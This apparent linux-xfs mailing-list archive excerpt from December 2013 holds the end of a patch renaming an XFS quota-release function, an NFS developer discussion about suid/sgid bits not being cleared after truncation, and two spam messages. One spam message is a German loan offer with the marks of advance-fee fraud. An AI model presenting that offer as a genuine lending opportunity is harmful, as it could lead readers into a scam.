*ipp = ip; return 0; @@ -1327,9 +1327,9 @@ xfs_create( if (ip) IRELE(ip); - xfs_qm_dqrele(udqp); - xfs_qm_dqrele(gdqp); - xfs_qm_dqrele(pdqp); + xfs_dqrele(udqp); + xfs_dqrele(gdqp); + xfs_dqrele(pdqp); if (unlock_dp_on_error) xfs_iunlock(dp, XFS_ILOCK_EXCL); diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 33ad9a7..13d60b9 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1300,15 +1300,15 @@ xfs_ioctl_setattr( /* * Release any dquot(s) the inode had kept before chown. */ - xfs_qm_dqrele(olddquot); - xfs_qm_dqrele(udqp); - xfs_qm_dqrele(pdqp); + xfs_dqrele(olddquot); + xfs_dqrele(udqp); + xfs_dqrele(pdqp); return code; error_return: - xfs_qm_dqrele(udqp); - xfs_qm_dqrele(pdqp); + xfs_dqrele(udqp); + xfs_dqrele(pdqp); xfs_trans_cancel(tp, 0); if (lock_flags) xfs_iunlock(ip, lock_flags); diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 0ce1d75..c5ad890 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -672,10 +672,10 @@ xfs_setattr_nonsize( /* * Release any dquot(s) the inode had kept before chown. */ - xfs_qm_dqrele(olddquot1); - xfs_qm_dqrele(olddquot2); - xfs_qm_dqrele(udqp); - xfs_qm_dqrele(gdqp); + xfs_dqrele(olddquot1); + xfs_dqrele(olddquot2); + xfs_dqrele(udqp); + xfs_dqrele(gdqp); if (error) return XFS_ERROR(error); @@ -699,8 +699,8 @@ out_trans_cancel: xfs_trans_cancel(tp, 0); xfs_iunlock(ip, XFS_ILOCK_EXCL); out_dqrele: - xfs_qm_dqrele(udqp); - xfs_qm_dqrele(gdqp); + xfs_dqrele(udqp); + xfs_dqrele(gdqp); return error; } diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index 31c0f85..843ab07 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -505,15 +505,15 @@ xfs_qm_dqdetach( ASSERT(!xfs_is_quota_inode(&ip->i_mount->m_sb, ip->i_ino)); if (ip->i_udquot) { - xfs_qm_dqrele(ip->i_udquot); + xfs_dqrele(ip->i_udquot); ip->i_udquot = NULL; } if (ip->i_gdquot) { - xfs_qm_dqrele(ip->i_gdquot); + xfs_dqrele(ip->i_gdquot); ip->i_gdquot = NULL; } if (ip->i_pdquot) { - xfs_qm_dqrele(ip->i_pdquot); + xfs_dqrele(ip->i_pdquot); ip->i_pdquot = NULL; } } @@ -1741,22 +1741,22 @@ xfs_qm_vop_dqalloc( if (O_udqpp) *O_udqpp = uq; else if (uq) - xfs_qm_dqrele(uq); + xfs_dqrele(uq); if (O_gdqpp) *O_gdqpp = gq; else if (gq) - xfs_qm_dqrele(gq); + xfs_dqrele(gq); if (O_pdqpp) *O_pdqpp = pq; else if (pq) - xfs_qm_dqrele(pq); + xfs_dqrele(pq); return 0; error_rele: if (gq) - xfs_qm_dqrele(gq); + xfs_dqrele(gq); if (uq) - xfs_qm_dqrele(uq); + xfs_dqrele(uq); return error; } diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index 3daf5ea..1e61cd4 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -736,7 +736,7 @@ xfs_qm_scall_setqlim( error = xfs_trans_commit(tp, 0); out_rele: - xfs_qm_dqrele(dqp); + xfs_dqrele(dqp); out_unlock: mutex_unlock(&q->qi_quotaofflock); return error; @@ -975,15 +975,15 @@ xfs_dqrele_inode( xfs_ilock(ip, XFS_ILOCK_EXCL); if ((flags & XFS_UQUOTA_ACCT) && ip->i_udquot) { - xfs_qm_dqrele(ip->i_udquot); + xfs_dqrele(ip->i_udquot); ip->i_udquot = NULL; } if ((flags & XFS_GQUOTA_ACCT) && ip->i_gdquot) { - xfs_qm_dqrele(ip->i_gdquot); + xfs_dqrele(ip->i_gdquot); ip->i_gdquot = NULL; } if ((flags & XFS_PQUOTA_ACCT) && ip->i_pdquot) { - xfs_qm_dqrele(ip->i_pdquot); + xfs_dqrele(ip->i_pdquot); ip->i_pdquot = NULL; } xfs_iunlock(ip, XFS_ILOCK_EXCL); diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index 5376dd4..ae4f41a 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -94,7 +94,7 @@ extern int xfs_qm_vop_chown_reserve(struct xfs_trans *, struct xfs_inode *, extern int xfs_qm_dqattach(struct xfs_inode *, uint); extern int xfs_qm_dqattach_locked(struct xfs_inode *, uint); extern void xfs_qm_dqdetach(struct xfs_inode *); -extern void xfs_qm_dqrele(struct xfs_dquot *); +extern void xfs_dqrele(struct xfs_dquot *); extern void xfs_qm_statvfs(struct xfs_inode *, struct kstatfs *); extern int xfs_qm_newmount(struct xfs_mount *, uint *, uint *); extern void xfs_qm_mount_quotas(struct xfs_mount *); @@ -136,7 +136,7 @@ static inline int xfs_trans_reserve_quota_bydquots(struct xfs_trans *tp, #define xfs_qm_dqattach(ip, fl) (0) #define xfs_qm_dqattach_locked(ip, fl) (0) #define xfs_qm_dqdetach(ip) -#define xfs_qm_dqrele(d) +#define xfs_dqrele(d) #define xfs_qm_statvfs(ip, s) #define xfs_qm_newmount(mp, a, b) (0) #define xfs_qm_mount_quotas(mp) diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 14e58f2..14e38fe 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -395,9 +395,9 @@ xfs_symlink( goto error2; } error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - xfs_qm_dqrele(udqp); - xfs_qm_dqrele(gdqp); - xfs_qm_dqrele(pdqp); + xfs_dqrele(udqp); + xfs_dqrele(gdqp); + xfs_dqrele(pdqp); *ipp = ip; return 0; @@ -409,9 +409,9 @@ xfs_symlink( cancel_flags |= XFS_TRANS_ABORT; error_return: xfs_trans_cancel(tp, cancel_flags); - xfs_qm_dqrele(udqp); - xfs_qm_dqrele(gdqp); - xfs_qm_dqrele(pdqp); + xfs_dqrele(udqp); + xfs_dqrele(gdqp); + xfs_dqrele(pdqp); if (unlock_dp_on_error) xfs_iunlock(dp, XFS_ILOCK_EXCL); From bkos1000000@gmail.com Thu Dec 12 04:54:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,FREEMAIL_REPLYTO,T_FRT_CONTACT autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 939F67F54 for ; Thu, 12 Dec 2013 04:54:58 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7EF5C30407A for ; Thu, 12 Dec 2013 02:54:58 -0800 (PST) X-ASG-Debug-ID: 1386845695-04cb6c537c6c9c20001-w1Z2WR Received: from smtp.ue.poznan.pl (smtp.ue.poznan.pl [150.254.36.154]) by cuda.sgi.com with ESMTP id RJr9JE4V1jzpNsjA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 02:54:57 -0800 (PST) X-Barracuda-Envelope-From: bkos1000000@gmail.com X-Barracuda-Apparent-Source-IP: 150.254.36.154 Received: from poczta.ue.poznan.pl (poczta.ue.poznan.pl [150.254.36.150]) (user=j.kotlinska@ue.poznan.pl mech=LOGIN bits=0) by smtp.ue.poznan.pl with ESMTP id rBCAp99Q009133-rBCAp99R009133; Thu, 12 Dec 2013 11:51:09 +0100 Received: from 185.19.85.139 (SquirrelMail authenticated user j.kotlinska@ue.poznan.pl) by poczta.ue.poznan.pl with HTTP; Thu, 12 Dec 2013 11:51:51 +0100 Message-ID: <310600afb115f1124cea79ddccd09695.squirrel@poczta.ue.poznan.pl> Date: Thu, 12 Dec 2013 11:51:51 +0100 Subject: Hallo From: "BFI" X-ASG-Orig-Subj: Hallo Reply-To: bficredithome@gmail.com User-Agent: SquirrelMail/1.4.22-3.el6 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-FEAS-SYSTEM-WL: 150.254.36.150 X-Barracuda-Connect: smtp.ue.poznan.pl[150.254.36.154] X-Barracuda-Start-Time: 1386845696 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FUZZY_CREDIT, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143038 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 FUZZY_CREDIT BODY: Attempt to obfuscate words in spam 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; Aktuell haben wir Öffnungen für kleine Unternehmen Darlehen, gewerbliche Kredite, Baufinanzierungen, Immobilienfinanzierungen, Risikokapital, etc. Wenn Sie sich bewerben wollen für unsere Darlehen und Kreditlinien kontaktieren Sie bitte den Personalbüro per E-Mail für weitere Informationen. From stanislav.kholmanskikh@oracle.com Thu Dec 12 05:45:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 86AB27F54 for ; Thu, 12 Dec 2013 05:45:28 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 40A40304066 for ; Thu, 12 Dec 2013 03:45:28 -0800 (PST) X-ASG-Debug-ID: 1386848723-04bdf013221d9bd0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 93BBIRI6OHduXzXA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 03:45:23 -0800 (PST) X-Barracuda-Envelope-From: stanislav.kholmanskikh@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBCBiobf022662 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 11:44:51 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBCBinbn009367 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 11:44:50 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBCBim7L005369; Thu, 12 Dec 2013 11:44:48 GMT Received: from [10.162.81.220] (/10.162.81.220) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 12 Dec 2013 03:44:48 -0800 Message-ID: <52A9A1AD.5090103@oracle.com> Date: Thu, 12 Dec 2013 15:44:45 +0400 From: Stanislav Kholmanskikh User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20131030 Thunderbird/17.0.10 MIME-Version: 1.0 To: "J. Bruce Fields" CC: linux-nfs@vger.kernel.org, vasily.isaenko@oracle.com, hch@infradead.org, xfs@oss.sgi.com, sprabhu@redhat.com Subject: Re: [PATCH] nfsd: revoking of suid/sgid bits after chown() in a consistent way References: <20131206204747.GB12613@fieldses.org> <1386756996-28083-1-git-send-email-stanislav.kholmanskikh@oracle.com> <52A845C6.2080109@oracle.com> <20131212033859.GA5978@fieldses.org> X-ASG-Orig-Subj: Re: [PATCH] nfsd: revoking of suid/sgid bits after chown() in a consistent way In-Reply-To: <20131212033859.GA5978@fieldses.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386848723 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143038 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On 12/12/2013 07:38 AM, J. Bruce Fields wrote: > On Wed, Dec 11, 2013 at 03:00:22PM +0400, Stanislav Kholmanskikh wrote: >> >> >> On 12/11/2013 02:16 PM, Stanislav Kholmanskikh wrote: >> [cut off] >>> >>> This patch makes NFS to behave like local file systems. >>> >> [cut off] >> >> This patch allows to run generic/193 without any issues with NFSv3. >> >> With NFSv4 generic/193 fails (but with the other issues, which >> existed even before the patch). >> >> generic/193 expects that suid/sgid bits are cleared after the file >> truncation: >> >> touch file >> chown fsgqa:fsgqa file >> chmod u+s file >> echo 'xyz' > file >> ls -l file >> su fsgqa -c 'echo > file' >> ls -l file >> >> With ext4 (for example), we have expectable results: >> -rwSr--r-- 1 fsgqa fsgqa 4 Dec 11 05:21 file >> -rw-r--r-- 1 fsgqa fsgqa 1 Dec 11 05:22 file >> >> With NFSv3 as well: >> -rwSr--r-- 1 fsgqa fsgqa 4 Dec 11 05:24 file >> -rw-r--r-- 1 fsgqa fsgqa 1 Dec 11 05:25 file >> >> But with NFSv4 the bits are not cleared: >> -rwSr--r-- 1 fsgqa fsgqa 1 Dec 11 05:19 file >> -rwSr--r-- 1 fsgqa fsgqa 1 Dec 11 05:21 file >> >> 'echo > file' issues: >> >> open("file", O_WRONLY|O_CREAT|O_TRUNC, 0666) >> >> Can it be because of design differences between NFSv3 and NFSv4? > > In the v3 case I'd expect the open O_TRUNC to result in a SETATTR rpc, > in the v4 case an OPEN rpc. Both result in a call to nfsd_setattr, > though I only see nfsd_setattr turning off the SUID/SGID bits in the > chown case. Are you sure it isn't the subsequent write that clears > those bits? Actually, in the above test script I occasionally swapped positions of "echo 'xyz' > file" and "chmod u+s file". Of course, chmod should be after the writing. Sorry. But here we are: rm -f file; touch file chown fsgqa:fsgqa file echo 'xyz' > file chmod u+s file ls -l file su fsgqa -c 'echo -n > file' # open(O_TRUNC), close() ls -l file su fsgqa -c 'echo > file' # open(O_TRUNC), write("\n"), close() ls -l file With NFSv3 suid is cleared after write: -rwSr--r-- 1 fsgqa fsgqa 4 Dec 12 05:24 file -rwSr--r-- 1 fsgqa fsgqa 0 Dec 12 05:24 file -rw-r--r-- 1 fsgqa fsgqa 1 Dec 12 05:25 file With NFSv4 suid is not cleared after write("\n"): -rwSr--r-- 1 fsgqa fsgqa 4 Dec 12 05:26 file -rwSr--r-- 1 fsgqa fsgqa 0 Dec 12 05:26 file -rwSr--r-- 1 fsgqa fsgqa 1 Dec 12 05:27 file but if we issue "su fsgqa -c 'echo -n b > file'", we will clear it: -rw-r--r-- 1 fsgqa fsgqa 1 Dec 12 05:28 file So if "file" is a file on NFSv4: -rwSr--r-- 1 fsgqa fsgqa 4 Dec 12 05:26 file and we do: fd = open(file, O_WRONLY); then write(fd, "\n", 1) will not clear suid bit, but write(fd, "b", 1) will do. With ext4 suid is cleared after open(O_TRUNC): -rwSr--r-- 1 fsgqa fsgqa 4 Dec 12 05:29 file -rw-r--r-- 1 fsgqa fsgqa 0 Dec 12 05:29 file -rw-r--r-- 1 fsgqa fsgqa 1 Dec 12 05:30 file Execution of (via 'su fsgqa -c ...'): fd = open("file", O_WRONLY); close(fd); if "file" is on ext4 file system and has suid bit on will not clear suid bit. Execution of (via 'su fsgqa -c ...'): fd = open("file", O_WRONLY); write(fd, "a", 1); close(fd); if "file" is on ext4 file system and has suid bit on will clear suid bit. To conclude: 1. With NFS suid is not cleared after open(O_TRUNC) This may be solved by addition of ATTR_SIZE handling in nfsd_setattr (i.e nfsd_sanitize_attrs). Right? 2. NFSv4 treats "\n" on write() specially. No ideas by the moment. > > But looks to me like nfsd_vfs_write (used in both v3 & v4 cases) clears > suid & guid, so I still don't see it. > > --b. > From roberto@robertoazevedo.com.br Thu Dec 12 06:43:45 2013 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EC96B7F4E for ; Thu, 12 Dec 2013 06:43:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C444E8F8035 for ; Thu, 12 Dec 2013 04:43:44 -0800 (PST) X-ASG-Debug-ID: 1386852221-04cb6c537d6cf260001-w1Z2WR Received: from smtp-out-02.acl.com.br (smtp-out-02.acl.com.br [31.171.132.197]) by cuda.sgi.com with ESMTP id cm4NCGX3dmEIaBeY for ; Thu, 12 Dec 2013 04:43:41 -0800 (PST) X-Barracuda-Envelope-From: roberto@robertoazevedo.com.br X-Barracuda-Apparent-Source-IP: 31.171.132.197 Received: from localhost (localhost.localdomain [127.0.0.1]) by smtp-out.acl.com.br (Postfix) with ESMTP id 6074414050D; Thu, 12 Dec 2013 10:43:35 -0200 (BRST) X-Virus-Scanned: amavisd-new at acl.com.br Received: from smtp-out.acl.com.br ([127.0.0.1]) by localhost (smtp-out.acl.com.br [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 4718JVWXVS3e; Thu, 12 Dec 2013 10:43:34 -0200 (BRST) Received: from mailer01.acl.com.br (mailer01.acl.com.br [199.71.235.72]) by smtp-out.acl.com.br (Postfix) with ESMTP id 61C30140505; Thu, 12 Dec 2013 10:43:27 -0200 (BRST) Received: from ROBERTOAZEVEDO [187.37.208.246] by mailer01.acl.com.br with ESMTP (SMTPD-11.01) id 612c0000862b6834; Thu, 12 Dec 2013 10:20:56 -0200 Message-ID: <2C8CD8EC89314F878A0ED0529F503171@ROBERTOAZEVEDO> From: To: =?utf-8?Q?Roberto_Azevedo_|_Consultoria_de?= =?utf-8?Q?_Im=C3=B3veis?= Subject: =?utf-8?Q?MO=C3=93CA_=3E_LOJA_=3E_LOCA=C3=87=C3=83O_=3E_SHOPPIN?= =?utf-8?Q?G_FABBRICA_MOOCA_MALL_=3E_OPORTUNI?= =?utf-8?Q?DADE_DE_EXPANS=C3=83O_=3E_STRIP_CENTER_?= =?utf-8?Q?+_ELEGANTE_E_LUCRATIVO_DE_S=C3=83O_PA?= =?utf-8?Q?ULO_=3E_SP?= Date: Thu, 12 Dec 2013 10:21:11 -0200 X-ASG-Orig-Subj: =?utf-8?Q?MO=C3=93CA_=3E_LOJA_=3E_LOCA=C3=87=C3=83O_=3E_SHOPPIN?= =?utf-8?Q?G_FABBRICA_MOOCA_MALL_=3E_OPORTUNI?= =?utf-8?Q?DADE_DE_EXPANS=C3=83O_=3E_STRIP_CENTER_?= =?utf-8?Q?+_ELEGANTE_E_LUCRATIVO_DE_S=C3=83O_PA?= =?utf-8?Q?ULO_=3E_SP?= MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_00C3_01CEF723.E27A6070"; type="multipart/alternative" X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3508.205 Disposition-Notification-To: X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3508.205 X-Barracuda-Connect: smtp-out-02.acl.com.br[31.171.132.197] X-Barracuda-Start-Time: 1386852221 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 Esta uma mensagem em vrias partes no formato MIME. ------=_NextPart_000_00C3_01CEF723.E27A6070 Content-Type: multipart/alternative; boundary="----=_NextPart_001_00C4_01CEF723.E27AAE90" ------=_NextPart_001_00C4_01CEF723.E27AAE90 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Venha Visitar, Lojas Prontas, Plant=C3=A3o no Local! -------------------------------------------------------------------------= ------- -------------------------------------------------------------------------= ------- Mix de Lojas: a.. Saint March=C3=A8 (Loja =C3=A2ncora) b.. Droga Raia (Loja 01) c.. Makis Place (02 Lojas; n=C2=BAs. 02 e 03) d.. Esmalteria Voc=C3=AABonita (Loja n=C2=BA 06) e.. Bonapele (01 Loja n=C2=BA 07) f.. Marsans Viagens (01 Loja n=C2=BA. 08) g.. Pet Zepellin (03 Lojas; n=C2=BAs. 09, 10 e 11) PS.1: Cada loja de 38m=C2=B2, tem possibilidade de expans=C3=A3o = at=C3=A9 70,00m=C2=B2, planta aprovada para mezanino, p=C3=A9 direito de = 6mts PS.2: 6.000 frequentadores di=C3=A1rios no Fabbrica Mooca Mall PS.3: 2.500 aptos de alto padr=C3=A3o de 4 dorms (4 su=C3=ADtes) como se = o Fabbrica Mooca Mall fosse uma extens=C3=A3o destes apartamentos, nos = quais residem 15.000 pessoas. Lembre-se no momento de definir a localiza=C3=A7=C3=A3o de sua = opera=C3=A7=C3=A3o existem 03 pontos fundamentais para o seu sucesso: 1. Localiza=C3=A7=C3=A3o 2. Localiza=C3=A7=C3=A3o 3. Localiza=C3=A7=C3=A3o =C3=89 por isto que o Fabbrica Mooca Mall =C3=A9 o Centro Comercial mais = elegante e lucrativo de S=C3=A3o Paulo! =20 -------------------------------------------------------------------------= ------- Avenida Cassandoca, 100 =E2=80=93 Mooca =E2=80=93 S=C3=A3o Paulo = =E2=80=93 SP 6.000 frequentadores p/ dia -------------------------------------------------------------------------= ------- FABBRICA MOOCA MALL=20 -------------------------------------------------------------------------= ------- O mix de lojas =C3=A9 composto por: Saint March=C3=A8, Droga Raia, = Esmalteria Voc=C3=AABonita, Bonapele, Makis Place, Marsans Viagens, = PetZeppelin. -------------------------------------------------------------------------= ------- Nosso Empreendimento foi eleito vencedor categoria Centro Comercial = Retrofit 2.012, pr=C3=AAmio da Revista Arquitetura e = Constru=C3=A7=C3=A3o da Editora Abril (veja o link): http://abr-casa.com.br/premio/2012/retrofit.php=20 -------------------------------------------------------------------------= ------- Atenciosamente Roberto Azevedo (11) 98131-9288 FABBRICA MOOCA MALL Avenida Cassandoca, 100 (11) 2157-7077 (11) 98131-9288 roberto@robertoazevedo.com.br =20 -------------------------------------------------------------------------= ------- =20 -------------------------------------------------------------------------= ------- Avenida Cassandoca, 100 =E2=80=93 Mooca =E2=80=93 S=C3=A3o Paulo = =E2=80=93 SP 6.000 frequentadores / dia 2.500 aptos =3D 15.000 moradores classe A + Universidade S=C3=A3o Judas = com 10.000 alunos, =C3=A0 apenas 01 quadra de dist=C3=A2ncia=20 Loca=C3=A7=C3=B5es =C3=A0 partir de 30,00m=C2=B2 -------------------------------------------------------------------------= ------- -------------------------------------------------------------------------= ------- -------------------------------------------------------------------------= ------- -------------------------------------------------------------------------= ------- =20 -------------------------------------------------------------------------= ------- -------------------------------------------------------------------------= ------- =20 -------------------------------------------------------------------------= ------- -------------------------------------------------------------------------= ------- -------------------------------------------------------------------------= ------- -------------------------------------------------------------------------= ------- FABBRICA MOOCA MALL =C3=89 um centro de servi=C3=A7os e compras com caracter=C3=ADsticas = especiais que antecipam tend=C3=AAncias e movimentos do mercado, e que = tem sido uma conduta-padr=C3=A3o para os executivos bem sucedidos. Praticidade =C3=A9 a principal caracter=C3=ADstica desse tipo de = empreendimento; um centro comercial que =C3=A9 um aliado de mulheres que = acumulam os pap=C3=A9is de gestora da casa e profissional; dos homens = que buscam a praticidade de um restaurante ou loja de forma f=C3=A1cil e = r=C3=A1pida; e jovens em idade de col=C3=A9gio e universidades que podem = sentir a sensa=C3=A7=C3=A3o da liberdade de aproveitar a = descontra=C3=A7=C3=A3o do ambiente ao ar livre; e de todos que gostam de = um bom caf=C3=A9 regado a um bate-papo com os amigos e vizinhos.=20 S=C3=A3o detalhes como estes que tornam o FABBRICA MOOCA MALL um local = especial para milhares de pessoas que circulam ali mensalmente. =E2=80=9C S=C3=A3o + de 2.500 apartamentos de alto padr=C3=A3o, somente = =C3=A0 01 quadra de dist=C3=A2ncia. =E2=80=9C Sua arquitetura privilegia o acesso r=C3=A1pido as dezenas de vagas = dispon=C3=ADveis e v=C3=A1rias lojas, que oferecem ao p=C3=BAblico = frequentador uma s=C3=A9rie de op=C3=A7=C3=B5es, desde o com=C3=A9rcio = de produtos, servi=C3=A7os, at=C3=A9 sofisticadas op=C3=A7=C3=B5es de = alimenta=C3=A7=C3=A3o e lazer.=20 P=C3=A9 direito de 6mts em todas as lojas com mezanino aprovado em = planta. A Pra=C3=A7a de Alimenta=C3=A7=C3=A3o =C3=A9 um sugestivo ponto de = encontro, para relaxar ou simplesmente saborear um delicioso prato. -------------------------------------------------------------------------= ------- Localiza=C3=A7=C3=A3o: Rua Cassandoca, 98 =E2=80=93 Mooca =E2=80=93 S=C3=A3o Paulo =E2=80=93 SP = =20 -------------------------------------------------------------------------= ------- ------=_NextPart_001_00C4_01CEF723.E27AAE90 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable
Venha=20 Visitar, Lojas Prontas, Plant=C3=A3o no Local!


3DF=C3=81BBRICA_MO=C3=93CA_LOGO=20
 
Mix de=20 Lojas:
  • Saint=20 March=C3=A8 (Loja =C3=A2ncora)
  • Droga=20 Raia (Loja 01)
  • Makis=20 Place (02 Lojas; n=C2=BAs. 02 e 03)
  • Esmalteria=20 Voc=C3=AABonita (Loja n=C2=BA = 06)
  • Bonapele=20 (01 Loja n=C2=BA = 07)
  • Marsans=20 Viagens (01 Loja n=C2=BA. 08)
  • Pet=20 Zepellin (03 Lojas; n=C2=BAs. 09, 10 e = 11)
  • PS.1: Cada = loja de=20 38m=C2=B2, tem possibilidade de expans=C3=A3o at=C3=A9 = 70,00m=C2=B2, planta aprovada para mezanino, = p=C3=A9 direito de = 6mts
    PS.2: 6.000=20 frequentadores di=C3=A1rios no Fabbrica Mooca = Mall
    PS.3: 2.500 aptos de = alto padr=C3=A3o=20 de 4 dorms (4 su=C3=ADtes) como se o Fabbrica Mooca Mall fosse uma = extens=C3=A3o destes=20 apartamentos, nos quais residem 15.000 = pessoas.
     
    Lembre-se=20 no momento de definir a localiza=C3=A7=C3=A3o de sua opera=C3=A7=C3=A3o = existem 03 pontos=20 fundamentais para o seu sucesso:
     
    1.=20 Localiza=C3=A7=C3=A3o
    2.=20 Localiza=C3=A7=C3=A3o
    3.=20 Localiza=C3=A7=C3=A3o
     
    =C3=89=20 por isto que o Fabbrica Mooca Mall =C3=A9 o Centro Comercial mais = elegante e=20 lucrativo de S=C3=A3o Paulo!
     

     
    =
    Avenida Cassandoca, 100 =E2=80=93 Mooca =E2=80=93 = S=C3=A3o Paulo =E2=80=93=20 SP
    <= /DIV>
    6.000 frequentadores p/=20 dia

    FABBRICA = MOOCA MALL=20
    O mix de lojas =C3=A9 composto por: Saint March=C3=A8, = Droga Raia, Esmalteria=20 Voc=C3=AABonita, Bonapele, Makis Place, Marsans Viagens, = PetZeppelin.

    Nosso=20 Empreendimento foi eleito vencedor categoria Centro Comercial Retrofit = 2.012,=20 pr=C3=AAmio da Revista Arquitetura e Constru=C3=A7=C3=A3o da Editora = Abril (veja o=20 link):
     
    Atenciosamente
     
    Roberto Azevedo
    (11) 98131-9288
     

    FABBRICA MOOCA=20 MALL

    Avenida Cassandoca, 100

    (11)   = 2157-7077

    (11)=20 98131-9288

    roberto@robertoazevedo.com.br<= /P>

    3DF=C3=81BBRICA_MO=C3=93CA_LOGO=20=20


     
    =20
    Avenida Cassandoca, 100 = =E2=80=93 Mooca =E2=80=93 S=C3=A3o=20 Paulo =E2=80=93 SP
    6.000 frequentadores / dia
    2.500 aptos =3D 15.000 moradores classe A + Universidade = S=C3=A3o Judas=20 com 10.000 alunos, =C3=A0 apenas 01 quadra de dist=C3=A2ncia
    Loca=C3=A7=C3=B5es =C3=A0 partir de = 30,00m=C2=B2


    3D"FABBRICA

    3D"FABBRICA_MOOCA_MALL

    3D"FABBRICA=20
    3D"FABBRICA

